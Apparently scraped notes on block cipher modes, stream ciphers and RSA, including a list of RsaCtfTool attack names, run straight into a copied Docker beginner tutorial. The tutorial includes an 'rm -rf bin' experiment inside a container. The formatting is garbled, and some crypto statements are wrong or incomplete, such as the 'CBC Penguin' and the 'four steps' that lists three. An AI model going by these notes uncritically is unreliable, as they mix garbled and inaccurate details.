+A Block Cipher is an algorithm that is used in conjunction with a cryptosystem to package a message into evenly distributed 'blocks' which are encrypted one at a time.
+Mode | +Formulas | +Ciphertext | +
---|---|---|
ECB | +Yi = F(PlainTexti, Key) | +Yi | +
CBC | +Yi = PlainTexti XOR Ciphertexti-1 | +F(Y, key); Ciphertext0 = IV | +
PCBC | +Yi = PlainTexti XOR (Ciphertexti-1 XOR PlainTexti-1) | +F(Y, key); Ciphertext0 = IV | +
CFB | +Yi = Ciphertexti-1 | +Plaintext XOR F(Y, key); Ciphertext0 = IV | +
OFB | +Yi = F(Key, Ii-1);Y0=IV | +Plaintext XOR Yi | +
CTR | +Yi = F(Key, IV + g(i));IV = token(); | +Plaintext XOR Yi | +
Note
+In this case, i
represents an index over the # of blocks in the plaintext. F() and g() represent the function used to convert plaintext into ciphertext.
ECB is the most basic block cipher, it simply chunks up plaintext into blocks and independently encrypts those blocks, and chains them all into a ciphertext.
++
Because ECB independently encrypts the blocks, patterns in data can still be seen clearly, as shown in the CBC Penguin image below.
+Original Image | +ECB Image | +Other Block Cipher Modes | +
---|---|---|
+ | + | + |
CBC is an improvement upon ECB where an Initialization Vector is used to add randomness. The encrypted previous block is used as the IV for each sequential block meaning that the encryption process cannot be parallelized. CBC has been declining in popularity due to a variety of
++
Note
+Even though the encryption process cannot be parallelized, the decryption process can be parallelized. If the wrong IV is used for decryption it will only affect the first block as the decryption of all other blocks depends on the ciphertext not the plaintext.
+PCBC is a less-used cipher that modifies CBC so that decryption is also not parallelizable. It also cannot be decrypted from any point as changes made during the decryption and encryption process "propagate" throughout the blocks, meaning that both the plaintext and ciphertext are used when encrypting or decrypting as seen in the images below.
++
Note
+The counter is also known as CM, integer counter mode (ICM), and segmented integer counter (SIC)
+CTR mode makes the block cipher similar to a stream cipher and it functions by adding a counter with each block in combination with a nonce and key to XOR the plaintext to produce the ciphertext. Similarly, the decryption process is the same except instead of XORing the plaintext, the ciphertext is XORed. This means that the process is parallelizable for both encryption and decryption and you can begin from anywhere as the counter for any block can be deduced easily.
++
If the nonce chosen is non-random, it is important to concatenate the nonce with the counter (high 64 bits to the nonce, low 64 bits to the counter) as adding or XORing the nonce with the counter would break security as an attacker can cause a collision with the nonce and counter. An attacker with access to providing a plaintext, nonce, and counter can then decrypt a block by using the ciphertext as seen in the decryption image.
+A Padding Oracle Attack sounds complex but essentially means abusing a block cipher by changing the length of input and being able to determine the plaintext.
+A Stream Cipher is used for symmetric key cryptography, or when the same key is used to encrypt and decrypt data. Stream Ciphers encrypt pseudorandom sequences with bits of plaintext to generate ciphertext, usually with XOR. A good way to think about Stream Ciphers is to think of them as generating one-time pads from a given state.
+A one-time pad is an encryption mechanism whereby the entire plaintext is XOR'd with a random sequence of numbers to generate a random ciphertext. The advantage of the one-time pad is that it offers an immense amount of security BUT for it to be useful, the randomly generated key must be distributed on a separate secure channel, meaning that one-time pads have little use in modern-day cryptographic applications on the internet. Stream ciphers extend upon this idea by using a key, usually 128-bit in length, to seed a pseudorandom keystream which is used to encrypt the text.
+A Synchronous Stream Cipher generates a keystream based on internal states not related to the plaintext or ciphertext. This means that the stream is generated pseudorandomly outside of the context of what is being encrypted. A binary additive stream cipher is the term used for a stream cipher in which XOR's the bits with the bits of the plaintext. Encryption and decryption require that the synchronous state cipher is in the same state, otherwise, the message cannot be decrypted.
+A Self-synchronizing Stream Cipher, also known as an asynchronous stream cipher or ciphertext autokey (CTAK), is a stream cipher that uses the previous N digits to compute the keystream used for the next N characters.
+Note
+Seems a lot like block ciphers doesn't it? That's because block cipher feedback mode (CFB) is an example of a self-synchronizing stream cipher.
+The key tenet of using stream ciphers securely is to NEVER repeat key use because of the commutative property of XOR. If C1 and C2 have been XOR'd with a key K, retrieving that key K is trivial because C1 XOR C2 = P1 XOR P2, and having an English language-based XOR means that cryptoanalysis tools such as a character frequency analysis will work well due to the low entropy of the English language.
+Another key tenet of using stream ciphers securely is considering that just because a message has been decrypted, it does not mean the message has not been tampered with. Because decryption is based on state, if an attacker knows the layout of the plaintext, a Man in the Middle (MITM) attack can flip a bit during transit altering the underlying ciphertext. If a ciphertext decrypts to 'Transfer $1000', then a middleman can flip a single bit for the ciphertext to decrypt to 'Transfer $9000' because changing a single character in the ciphertext does not affect the state in a synchronous stream cipher.
+RSA, which is an abbreviation of the author's name (Rivest–Shamir–Adleman), is a cryptosystem that allows for asymmetric encryption. Asymmetric cryptosystems are also commonly referred to as Public Key Cryptography where a public key is used to encrypt data and only a secret, a private key can be used to decrypt the data.
+If public n, public e, private d are all very large numbers and a message m holds true for 0 < m < n, then we can say:
+++(m^e)d ≡ m (mod n)
+
Note
+The triple equals sign in this case refers to modular congruence which in this case means that there exists an integer k such that (m^e)d = kn + m
+RSA is viable because it is incredibly hard to find d even with m, n, and e because factoring large numbers is an arduous process.
+RSA follows 4 steps to be implemented: 1. Key Generation 2. Encryption 3. Decryption
+We are going to follow Wikipedia's small numbers example to make this idea a bit easier to understand.
+Note
+In This example, we are using Carmichael's totient function where λ(n) = lcm(λ(p), λ(q)), but Euler's totient function is perfectly valid to use with RSA. Euler's totient is φ(n) = (p − 1)(q − 1)
+de mod λ(n) = 1
Now we have a public key of (3233, 17) and a private key of (3233, 413)
+With the public key, m can be encrypted trivially
+The ciphertext is equal to me mod n or:
+c = m^17 mod 3233
+With the private key, m can be decrypted trivially as well
+The plaintext is equal to cd mod n or:
+m = c^413 mod 3233
+From the RsaCtfTool README
+++ + + + + + + + +Attacks:
++
+- Weak public key factorization
+- Wiener's attack
+- Hastad's attack (Small public exponent attack)
+- Small q (q < 100,000)
+- Common factor between ciphertext and modulus attack
+- Fermat's factorization for close p and q
+- Gimmicky Primes method
+- Past CTF Primes method
+- Self-Initializing Quadratic Sieve (SIQS) using Yafu
+- Common factor attacks across multiple keys
+- Small fractions method when p/q is close to a small fraction
+- Boneh Durfee Method when the private exponent d is too small compared to the modulus (i.e d < n^0.292)
+- Elliptic Curve Method
+- Pollards p-1 for relatively smooth numbers
+- Mersenne primes factorization
+
++https://docker-curriculum.com/
+by Prakhar Srivastav
+
Wikipedia defines Docker as
+++an open-source project that automates the deployment of software applications inside containers by providing an additional layer of abstraction and automation of OS-level virtualization on Linux.
+
Wow! That's a mouthful. In simpler words, Docker is a tool that allows developers, sys-admins, etc. to easily deploy their applications in a sandbox (called containers) to run on the host operating system i.e. Linux. The key benefit of Docker is that it allows users to package an application with all of its dependencies into a standardized unit for software development. Unlike virtual machines, containers do not have high overhead and hence enable more efficient usage of the underlying system and resources.
+The industry standard today is to use Virtual Machines (VMs) to run software applications. VMs run applications inside a guest Operating System, which runs on virtual hardware powered by the server’s host OS.
+VMs are great at providing full process isolation for applications: there are very few ways a problem in the host operating system can affect the software running in the guest operating system, and vice-versa. But this isolation comes at a great cost — the computational overhead spent virtualizing hardware for a guest OS to use is substantial.
+Containers take a different approach: by leveraging the low-level mechanics of the host operating system, containers provide most of the isolation of virtual machines at a fraction of the computing power.
+Containers offer a logical packaging mechanism in which applications can be abstracted from the environment in which they run. This decoupling allows container-based applications to be deployed easily and consistently, regardless of whether the target environment is a private data center, the public cloud, or even a developer’s laptop. This gives developers the ability to create predictable environments that are isolated from the rest of the applications and can be run anywhere.
+From an operations standpoint, apart from portability containers also give more granular control over resources giving your infrastructure improved efficiency which can result in better utilization of your compute resources.
+ +Google Trends for Docker
+Due to these benefits, containers (& Docker) have seen widespread adoption. Companies like Google, Facebook, Netflix, and Salesforce leverage containers to make large engineering teams more productive and to improve the utilization of computing resources. Google credited containers for eliminating the need for an entire data center.
+This tutorial aims to be the one-stop shop for getting your hands dirty with Docker. Apart from demystifying the Docker landscape, it'll give you hands-on experience building and deploying your web apps on the Cloud. We'll be using Amazon Web Services to deploy a static website, and two dynamic web apps on EC2 using Elastic Beanstalk and Elastic Container Service. Even if you have no prior experience with deployments, this tutorial should be all you need to get started.
+This document contains a series of several sections, each of which explains a particular aspect of Docker. We will be typing commands (or writing code) in each section. All the code used in the tutorial is available in the GitHub repo.
+++Note: This tutorial uses version 18.05.0-ce of Docker. If you find any part of the tutorial incompatible with a future version, please raise an issue. Thanks!
+
There are no specific skills needed for this tutorial beyond a basic comfort with the command line and using a text editor. This tutorial uses git clone
to clone the repository locally. If you don't have Git installed on your system, either install it or remember to manually download the zip files from Github. Prior experience in developing web applications will be helpful but is not required. As we proceed further along the tutorial, we'll make use of a few cloud services. If you're interested in following along, please create an account on each of these websites:
Getting all the tooling setup on your computer can be a daunting task, but thankfully as Docker has become stable, getting Docker up and running on your favorite OS has become very easy.
+Until a few releases ago, running Docker on OSX and Windows was quite a hassle. Lately however, Docker has invested significantly into improving the on-boarding experience for its users on these OSes, thus running Docker now is a cakewalk. The getting started guide on Docker has detailed instructions for setting up Docker on Mac, Linux and Windows.
+Once you are done installing Docker, test your Docker installation by running the following:
+$ docker run hello-world
+
+Hello from Docker.
+This message shows that your installation appears to be working correctly.
+...
+
+Now that we have everything setup, it's time to get our hands dirty. In this section, we are going to run a Busybox container on our system and get a taste of the docker run
command.
To get started, let's run the following in our terminal:
+$ docker pull busybox
+
+++Note: Depending on how you've installed docker on your system, you might see a
+permission denied
error after running the above command. If you're on a Mac, make sure the Docker engine is running. If you're on Linux, then prefix yourdocker
commands withsudo
. Alternatively, you can create a docker group to get rid of this issue.
The pull
command fetches the busybox image from the Docker registry and saves it to our system. You can use the docker images
command to see a list of all images on your system.
$ docker images
+REPOSITORY TAG IMAGE ID CREATED VIRTUAL SIZE
+busybox latest c51f86c28340 4 weeks ago 1.109 MB
+
+Great! Let's now run a Docker container based on this image. To do that we are going to use the almighty docker run
command.
$ docker run busybox
+
+Wait, nothing happened! Is that a bug? Well, no. Behind the scenes, a lot of stuff happened. When you call run
, the Docker client finds the image (busybox in this case), loads up the container and then runs a command in that container. When we run docker run busybox
, we didn't provide a command, so the container booted up, ran an empty command and then exited. Well, yeah - kind of a bummer. Let's try something more exciting.
$ docker run busybox echo "hello from busybox"
+hello from busybox
+
+Nice - finally we see some output. In this case, the Docker client dutifully ran the echo
command in our busybox container and then exited it. If you've noticed, all of that happened pretty quickly. Imagine booting up a virtual machine, running a command and then killing it. Now you know why they say containers are fast! Ok, now it's time to see the docker ps
command. The docker ps
command shows you all containers that are currently running.
$ docker ps
+CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
+
+Since no containers are running, we see a blank line. Let's try a more useful variant: docker ps -a
$ docker ps -a
+CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
+305297d7a235 busybox "uptime" 11 minutes ago Exited (0) 11 minutes ago distracted_goldstine
+ff0a5c3750b9 busybox "sh" 12 minutes ago Exited (0) 12 minutes ago elated_ramanujan
+14e5bd11d164 hello-world "/hello" 2 minutes ago Exited (0) 2 minutes ago thirsty_euclid
+
+So what we see above is a list of all containers that we ran. Do notice that the STATUS
column shows that these containers exited a few minutes ago.
You're probably wondering if there is a way to run more than just one command in a container. Let's try that now:
+$ docker run -it busybox sh
+/ # ls
+bin dev etc home proc root sys tmp usr var
+/ # uptime
+ 05:45:21 up 5:58, 0 users, load average: 0.00, 0.01, 0.04
+
+Running the run
command with the -it
flags attaches us to an interactive tty in the container. Now we can run as many commands in the container as we want. Take some time to run your favorite commands.
++Danger Zone: If you're feeling particularly adventurous you can try
+rm -rf bin
in the container. Make sure you run this command in the container and not in your laptop/desktop. Doing this will make any other commands likels
,uptime
not work. Once everything stops working, you can exit the container (typeexit
and press Enter) and then start it up again with thedocker run -it busybox sh
command. Since Docker creates a new container every time, everything should start working again.
That concludes a whirlwind tour of the mighty docker run
command, which would most likely be the command you'll use most often. It makes sense to spend some time getting comfortable with it. To find out more about run
, use docker run --help
to see a list of all flags it supports. As we proceed further, we'll see a few more variants of docker run
.
Before we move ahead though, let's quickly talk about deleting containers. We saw above that we can still see remnants of the container even after we've exited by running docker ps -a
. Throughout this tutorial, you'll run docker run
multiple times and leaving stray containers will eat up disk space. Hence, as a rule of thumb, I clean up containers once I'm done with them. To do that, you can run the docker rm
command. Just copy the container IDs from above and paste them alongside the command.
$ docker rm 305297d7a235 ff0a5c3750b9
+305297d7a235
+ff0a5c3750b9
+
+On deletion, you should see the IDs echoed back to you. If you have a bunch of containers to delete in one go, copy-pasting IDs can be tedious. In that case, you can simply run -
+$ docker rm $(docker ps -a -q -f status=exited)
+
+This command deletes all containers that have a status of exited
. In case you're wondering, the -q
flag, only returns the numeric IDs and -f
filters output based on conditions provided. One last thing that'll be useful is the --rm
flag that can be passed to docker run
which automatically deletes the container once it's exited from. For one off docker runs, --rm
flag is very useful.
In later versions of Docker, the docker container prune
command can be used to achieve the same effect.
$ docker container prune
+WARNING! This will remove all stopped containers.
+Are you sure you want to continue? [y/N] y
+Deleted Containers:
+4a7f7eebae0f63178aff7eb0aa39f0627a203ab2df258c1a00b456cf20063
+f98f9c2aa1eaf727e4ec9c0283bcaa4762fbdba7f26191f26c97f64090360
+
+Total reclaimed space: 212 B
+
+Lastly, you can also delete images that you no longer need by running docker rmi
.
In the last section, we used a lot of Docker-specific jargon which might be confusing to some. So before we go further, let me clarify some terminology that is used frequently in the Docker ecosystem.
+docker pull
command to download the busybox image.docker run
which we did using the busybox image that we downloaded. A list of running containers can be seen using the docker ps
command.Great! So we have now looked at docker run
, played with a Docker container and also got a hang of some terminology. Armed with all this knowledge, we are now ready to get to the real-stuff, i.e. deploying web applications with Docker!
Let's start by taking baby-steps. The first thing we're going to look at is how we can run a dead-simple static website. We're going to pull a Docker image from Docker Hub, run the container and see how easy it is to run a webserver.
+Let's begin. The image that we are going to use is a single-page website that I've already created for the purpose of this demo and hosted on the registry - prakhar1989/static-site
. We can download and run the image directly in one go using docker run
. As noted above, the --rm
flag automatically removes the container when it exits and the -it
flag specifies an interactive terminal which makes it easier to kill the container with Ctrl+C (on windows).
$ docker run --rm -it prakhar1989/static-site
+
+Since the image doesn't exist locally, the client will first fetch the image from the registry and then run the image. If all goes well, you should see a Nginx is running...
message in your terminal. Okay now that the server is running, how to see the website? What port is it running on? And more importantly, how do we access the container directly from our host machine? Hit Ctrl+C to stop the container.
Well, in this case, the client is not exposing any ports so we need to re-run the docker run
command to publish ports. While we're at it, we should also find a way so that our terminal is not attached to the running container. This way, you can happily close your terminal and keep the container running. This is called detached mode.
$ docker run -d -P --name static-site prakhar1989/static-site
+e61d12292d69556eabe2a44c16cbd54486b2527e2ce4f95438e504afb7b02810
+
+In the above command, -d
will detach our terminal, -P
will publish all exposed ports to random ports and finally --name
corresponds to a name we want to give. Now we can see the ports by running the docker port [CONTAINER]
command
$ docker port static-site
+80/tcp -> 0.0.0.0:32769
+443/tcp -> 0.0.0.0:32768
+
+You can open http://localhost:32769 in your browser.
+++Note: If you're using docker-toolbox, then you might need to use
+docker-machine ip default
to get the IP.
You can also specify a custom port to which the client will forward connections to the container.
+$ docker run -p 8888:80 prakhar1989/static-site
+Nginx is running...
+
+
+To stop a detached container, run docker stop
by giving the container ID. In this case, we can use the name static-site
we used to start the container.
$ docker stop static-site
+static-site
+
+I'm sure you agree that was super simple. To deploy this on a real server you would just need to install Docker, and run the above Docker command. Now that you've seen how to run a webserver inside a Docker image, you must be wondering - how do I create my own Docker image? This is the question we'll be exploring in the next section.
+We've looked at images before, but in this section we'll dive deeper into what Docker images are and build our own image! Lastly, we'll also use that image to run our application locally and finally deploy on AWS to share it with our friends! Excited? Great! Let's get started.
+Docker images are the basis of containers. In the previous example, we pulled the Busybox image from the registry and asked the Docker client to run a container based on that image. To see the list of images that are available locally, use the docker images
command.
$ docker images
+REPOSITORY TAG IMAGE ID CREATED VIRTUAL SIZE
+prakhar1989/catnip latest c7ffb5626a50 2 hours ago 697.9 MB
+prakhar1989/static-site latest b270625a1631 21 hours ago 133.9 MB
+python 3-onbuild cf4002b2c383 5 days ago 688.8 MB
+martin/docker-cleanup-volumes latest b42990daaca2 7 weeks ago 22.14 MB
+ubuntu latest e9ae3c220b23 7 weeks ago 187.9 MB
+busybox latest c51f86c28340 9 weeks ago 1.109 MB
+hello-world latest 0a6ba66e537a 11 weeks ago 960 B
+
+The above gives a list of images that I've pulled from the registry, along with ones that I've created myself (we'll shortly see how). The TAG
refers to a particular snapshot of the image and the IMAGE ID
is the corresponding unique identifier for that image.
For simplicity, you can think of an image akin to a git repository - images can be committed with changes and have multiple versions. If you don't provide a specific version number, the client defaults to latest
. For example, you can pull a specific version of ubuntu
image
$ docker pull ubuntu:18.04
+
+To get a new Docker image you can either get it from a registry (such as the Docker Hub) or create your own. There are tens of thousands of images available on Docker Hub. You can also search for images directly from the command line using docker search
.
An important distinction to be aware of when it comes to images is the difference between base and child images.
+Then there are official and user images, which can be both base and child images.
+python
, ubuntu
, busybox
and hello-world
images are official images.user/image-name
.Now that we have a better understanding of images, it's time to create our own. Our goal in this section will be to create an image that sandboxes a simple Flask application. For the purposes of this workshop, I've already created a fun little Flask app that displays a random cat .gif
every time it is loaded - because you know, who doesn't like cats? If you haven't already, please go ahead and clone the repository locally like so -
$ git clone https://github.com/prakhar1989/docker-curriculum.git
+$ cd docker-curriculum/flask-app
+
+++This should be cloned on the machine where you are running the docker commands and not inside a docker container.
+
The next step now is to create an image with this web app. As mentioned above, all user images are based on a base image. Since our application is written in Python, the base image we're going to use will be Python 3.
+A Dockerfile is a simple text file that contains a list of commands that the Docker client calls while creating an image. It's a simple way to automate the image creation process. The best part is that the commands you write in a Dockerfile are almost identical to their equivalent Linux commands. This means you don't really have to learn new syntax to create your own dockerfiles.
+The application directory does contain a Dockerfile but since we're doing this for the first time, we'll create one from scratch. To start, create a new blank file in our favorite text-editor and save it in the same folder as the flask app by the name of Dockerfile
.
We start with specifying our base image. Use the FROM
keyword to do that -
FROM python:3.8
+
+The next step usually is to write the commands of copying the files and installing the dependencies. First, we set a working directory and then copy all the files for our app.
+# set a directory for the app
+WORKDIR /usr/src/app
+
+# copy all the files to the container
+COPY . .
+
+Now, that we have the files, we can install the dependencies.
+# install dependencies
+RUN pip install --no-cache-dir -r requirements.txt
+
+The next thing we need to specify is the port number that needs to be exposed. Since our flask app is running on port 5000
, that's what we'll indicate.
EXPOSE 5000
+
+The last step is to write the command for running the application, which is simply - python ./app.py
. We use the CMD command to do that -
CMD ["python", "./app.py"]
+
+The primary purpose of CMD
is to tell the container which command it should run when it is started. With that, our Dockerfile
is now ready. This is how it looks -
FROM python:3.8
+
+# set a directory for the app
+WORKDIR /usr/src/app
+
+# copy all the files to the container
+COPY . .
+
+# install dependencies
+RUN pip install --no-cache-dir -r requirements.txt
+
+# define the port number the container should expose
+EXPOSE 5000
+
+# run the command
+CMD ["python", "./app.py"]
+
+Now that we have our Dockerfile
, we can build our image. The docker build
command does the heavy-lifting of creating a Docker image from a Dockerfile
.
The section below shows you the output of running the same. Before you run the command yourself (don't forget the period), make sure to replace my username with yours. This username should be the same one you created when you registered on Docker hub. If you haven't done that yet, please go ahead and create an account. The docker build
command is quite simple - it takes an optional tag name with -t
and a location of the directory containing the Dockerfile
.
$ docker build -t yourusername/catnip .
+Sending build context to Docker daemon 8.704 kB
+Step 1 : FROM python:3.8
+# Executing 3 build triggers...
+Step 1 : COPY requirements.txt /usr/src/app/
+ ---> Using cache
+Step 1 : RUN pip install --no-cache-dir -r requirements.txt
+ ---> Using cache
+Step 1 : COPY . /usr/src/app
+ ---> 1d61f639ef9e
+Removing intermediate container 4de6ddf5528c
+Step 2 : EXPOSE 5000
+ ---> Running in 12cfcf6d67ee
+ ---> f423c2f179d1
+Removing intermediate container 12cfcf6d67ee
+Step 3 : CMD python ./app.py
+ ---> Running in f01401a5ace9
+ ---> 13e87ed1fbc2
+Removing intermediate container f01401a5ace9
+Successfully built 13e87ed1fbc2
+
+If you don't have the python:3.8
image, the client will first pull the image and then create your image. Hence, your output from running the command will look different from mine. If everything went well, your image should be ready! Run docker images
and see if your image shows.
The last step in this section is to run the image and see if it actually works (replacing my username with yours).
+$ docker run -p 8888:5000 yourusername/catnip
+ * Running on http://0.0.0.0:5000/ (Press CTRL+C to quit)
+
+The command we just ran used port 5000 for the server inside the container and exposed this externally on port 8888. Head over to the URL with port 8888, where your app should be live.
+ +Congratulations! You have successfully created your first docker image.
+What good is an application that can't be shared with friends, right? So in this section we are going to see how we can deploy our awesome application to the cloud so that we can share it with our friends! We're going to use AWS Elastic Beanstalk to get our application up and running in a few clicks. We'll also see how easy it is to make our application scalable and manageable with Beanstalk!
+The first thing that we need to do before we deploy our app to AWS is to publish our image on a registry which can be accessed by AWS. There are many different Docker registries you can use (you can even host your own). For now, let's use Docker Hub to publish the image.
+If this is the first time you are pushing an image, the client will ask you to login. Provide the same credentials that you used for logging into Docker Hub.
+$ docker login
+Login in with your Docker ID to push and pull images from Docker Hub. If you do not have a Docker ID, head over to https://hub.docker.com to create one.
+Username: yourusername
+Password:
+WARNING! Your password will be stored unencrypted in /Users/yourusername/.docker/config.json
+Configure a credential helper to remove this warning. See
+https://docs.docker.com/engine/reference/commandline/login/credential-store
+
+Login Succeeded
+
+To publish, just type the below command remembering to replace the name of the image tag above with yours. It is important to have the format of yourusername/image_name
so that the client knows where to publish.
$ docker push yourusername/catnip
+
+Once that is done, you can view your image on Docker Hub. For example, here's the web page for my image.
+++Note: One thing that I'd like to clarify before we go ahead is that it is not imperative to host your image on a public registry (or any registry) in order to deploy to AWS. In case you're writing code for the next million-dollar unicorn startup you can totally skip this step. The reason why we're pushing our images publicly is that it makes deployment super simple by skipping a few intermediate configuration steps.
+
Now that your image is online, anyone who has docker installed can play with your app by typing just a single command.
+$ docker run -p 8888:5000 yourusername/catnip
+
+If you've pulled your hair out in setting up local dev environments / sharing application configuration in the past, you very well know how awesome this sounds. That's why Docker is so cool!
+AWS Elastic Beanstalk (EB) is a PaaS (Platform as a Service) offered by AWS. If you've used Heroku, Google App Engine etc. you'll feel right at home. As a developer, you just tell EB how to run your app and it takes care of the rest - including scaling, monitoring and even updates. In April 2014, EB added support for running single-container Docker deployments which is what we'll use to deploy our app. Although EB has a very intuitive CLI, it does require some setup, and to keep things simple we'll use the web UI to launch our application.
+To follow along, you need a functioning AWS account. If you haven't already, please go ahead and do that now - you will need to enter your credit card information. But don't worry, it's free and anything we do in this tutorial will also be free! Let's get started.
+Here are the steps:
+Dockerrun.aws.json
file located in the flask-app
folder and edit the Name
of the image to your image's name. Don't worry, I'll explain the contents of the file shortly. When you are done, click on the radio button for "Upload your Code", choose this file, and click on "Upload".While we wait, let's quickly see what the Dockerrun.aws.json
file contains. This file is basically an AWS specific file that tells EB details about our application and docker configuration.
{
+ "AWSEBDockerrunVersion": "1",
+ "Image": {
+ "Name": "prakhar1989/catnip",
+ "Update": "true"
+ },
+ "Ports": [
+ {
+ "ContainerPort": 5000,
+ "HostPort": 8000
+ }
+ ],
+ "Logging": "/var/log/nginx"
+}
+
+The file should be pretty self-explanatory, but you can always reference the official documentation for more information. We provide the name of the image that EB should use along with a port that the container should open.
+Hopefully by now, our instance should be ready. Head over to the EB page and you should see a green tick indicating that your app is alive and kicking.
+ +Go ahead and open the URL in your browser and you should see the application in all its glory. Feel free to email / IM / snapchat this link to your friends and family so that they can enjoy a few cat gifs, too.
+Once you done basking in the glory of your app, remember to terminate the environment so that you don't end up getting charged for extra resources.
+ +Congratulations! You have deployed your first Docker application! That might seem like a lot of steps, but with the command-line tool for EB you can almost mimic the functionality of Heroku in a few keystrokes! Hopefully, you agree that Docker takes away a lot of the pains of building and deploying applications in the cloud. I would encourage you to read the AWS documentation on single-container Docker environments to get an idea of what features exist.
+In the next (and final) part of the tutorial, we'll up the ante a bit and deploy an application that mimics the real-world more closely; an app with a persistent back-end storage tier. Let's get straight to it!
+In the last section, we saw how easy and fun it is to run applications with Docker. We started with a simple static website and then tried a Flask app. Both of which we could run locally and in the cloud with just a few commands. One thing both these apps had in common was that they were running in a single container.
+Those of you who have experience running services in production know that usually apps nowadays are not that simple. There's almost always a database (or any other kind of persistent storage) involved. Systems such as Redis and Memcached have become de rigueur of most web application architectures. Hence, in this section we are going to spend some time learning how to Dockerize applications which rely on different services to run.
+In particular, we are going to see how we can run and manage multi-container docker environments. Why multi-container you might ask? Well, one of the key points of Docker is the way it provides isolation. The idea of bundling a process with its dependencies in a sandbox (called containers) is what makes this so powerful.
+Just like it's a good strategy to decouple your application tiers, it is wise to keep containers for each of the services separate. Each tier is likely to have different resource needs and those needs might grow at different rates. By separating the tiers into different containers, we can compose each tier using the most appropriate instance type based on different resource needs. This also plays in very well with the whole microservices movement which is one of the main reasons why Docker (or any other container technology) is at the forefront of modern microservices architectures.
+The app that we're going to Dockerize is called SF Food Trucks. My goal in building this app was to have something that is useful (in that it resembles a real-world application), relies on at least one service, but is not too complex for the purpose of this tutorial. This is what I came up with.
+ +The app's backend is written in Python (Flask) and for search it uses Elasticsearch. Like everything else in this tutorial, the entire source is available on Github. We'll use this as our candidate application for learning out how to build, run and deploy a multi-container environment.
+First up, let's clone the repository locally.
+$ git clone https://github.com/prakhar1989/FoodTrucks
+$ cd FoodTrucks
+$ tree -L 2
+.
+├── Dockerfile
+├── README.md
+├── aws-compose.yml
+├── docker-compose.yml
+├── flask-app
+│ ├── app.py
+│ ├── package-lock.json
+│ ├── package.json
+│ ├── requirements.txt
+│ ├── static
+│ ├── templates
+│ └── webpack.config.js
+├── setup-aws-ecs.sh
+├── setup-docker.sh
+├── shot.png
+└── utils
+ ├── generate_geojson.py
+ └── trucks.geojson
+
+The flask-app
folder contains the Python application, while the utils
folder has some utilities to load the data into Elasticsearch. The directory also contains some YAML files and a Dockerfile, all of which we'll see in greater detail as we progress through this tutorial. If you are curious, feel free to take a look at the files.
Now that you're excited (hopefully), let's think of how we can Dockerize the app. We can see that the application consists of a Flask backend server and an Elasticsearch service. A natural way to split this app would be to have two containers - one running the Flask process and another running the Elasticsearch (ES) process. That way if our app becomes popular, we can scale it by adding more containers depending on where the bottleneck lies.
+Great, so we need two containers. That shouldn't be hard right? We've already built our own Flask container in the previous section. And for Elasticsearch, let's see if we can find something on the hub.
+$ docker search elasticsearch
+NAME DESCRIPTION STARS OFFICIAL AUTOMATED
+elasticsearch Elasticsearch is a powerful open source se... 697 [OK]
+itzg/elasticsearch Provides an easily configurable Elasticsea... 17 [OK]
+tutum/elasticsearch Elasticsearch image - listens in port 9200. 15 [OK]
+barnybug/elasticsearch Latest Elasticsearch 1.7.2 and previous re... 15 [OK]
+digitalwonderland/elasticsearch Latest Elasticsearch with Marvel & Kibana 12 [OK]
+monsantoco/elasticsearch ElasticSearch Docker image 9 [OK]
+
+Quite unsurprisingly, there exists an officially supported image for Elasticsearch. To get ES running, we can simply use docker run
and have a single-node ES container running locally within no time.
++Note: Elastic, the company behind Elasticsearch, maintains its own registry for Elastic products. It's recommended to use the images from that registry if you plan to use Elasticsearch.
+
Let's first pull the image
+$ docker pull docker.elastic.co/elasticsearch/elasticsearch:6.3.2
+
+and then run it in development mode by specifying ports and setting an environment variable that configures the Elasticsearch cluster to run as a single-node.
+$ docker run -d --name es -p 9200:9200 -p 9300:9300 -e "discovery.type=single-node" docker.elastic.co/elasticsearch/elasticsearch:6.3.2
+277451c15ec183dd939e80298ea4bcf55050328a39b04124b387d668e3ed3943
+
+++Note: If your container runs into memory issues, you might need to tweak some JVM flags to limit its memory consumption.
+
As seen above, we use --name es
to give our container a name which makes it easy to use in subsequent commands. Once the container is started, we can see the logs by running docker container logs
with the container name (or ID) to inspect the logs. You should see logs similar to below if Elasticsearch started successfully.
++Note: Elasticsearch takes a few seconds to start so you might need to wait before you see
+initialized
in the logs.
$ docker container ls
+CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
+277451c15ec1 docker.elastic.co/elasticsearch/elasticsearch:6.3.2 "/usr/local/bin/dock…" 2 minutes ago Up 2 minutes 0.0.0.0:9200->9200/tcp, 0.0.0.0:9300->9300/tcp es
+
+$ docker container logs es
+[2018-07-29T05:49:09,304][INFO ][o.e.n.Node ] [] initializing ...
+[2018-07-29T05:49:09,385][INFO ][o.e.e.NodeEnvironment ] [L1VMyzt] using [1] data paths, mounts [[/ (overlay)]], net usable_space [54.1gb], net total_space [62.7gb], types [overlay]
+[2018-07-29T05:49:09,385][INFO ][o.e.e.NodeEnvironment ] [L1VMyzt] heap size [990.7mb], compressed ordinary object pointers [true]
+[2018-07-29T05:49:11,979][INFO ][o.e.p.PluginsService ] [L1VMyzt] loaded module [x-pack-security]
+[2018-07-29T05:49:11,980][INFO ][o.e.p.PluginsService ] [L1VMyzt] loaded module [x-pack-sql]
+[2018-07-29T05:49:11,980][INFO ][o.e.p.PluginsService ] [L1VMyzt] loaded module [x-pack-upgrade]
+[2018-07-29T05:49:11,980][INFO ][o.e.p.PluginsService ] [L1VMyzt] loaded module [x-pack-watcher]
+[2018-07-29T05:49:11,981][INFO ][o.e.p.PluginsService ] [L1VMyzt] loaded plugin [ingest-geoip]
+[2018-07-29T05:49:11,981][INFO ][o.e.p.PluginsService ] [L1VMyzt] loaded plugin [ingest-user-agent]
+[2018-07-29T05:49:17,659][INFO ][o.e.d.DiscoveryModule ] [L1VMyzt] using discovery type [single-node]
+[2018-07-29T05:49:18,962][INFO ][o.e.n.Node ] [L1VMyzt] initialized
+[2018-07-29T05:49:18,963][INFO ][o.e.n.Node ] [L1VMyzt] starting ...
+[2018-07-29T05:49:19,218][INFO ][o.e.t.TransportService ] [L1VMyzt] publish_address {172.17.0.2:9300}, bound_addresses {0.0.0.0:9300}
+[2018-07-29T05:49:19,302][INFO ][o.e.x.s.t.n.SecurityNetty4HttpServerTransport] [L1VMyzt] publish_address {172.17.0.2:9200}, bound_addresses {0.0.0.0:9200}
+[2018-07-29T05:49:19,303][INFO ][o.e.n.Node ] [L1VMyzt] started
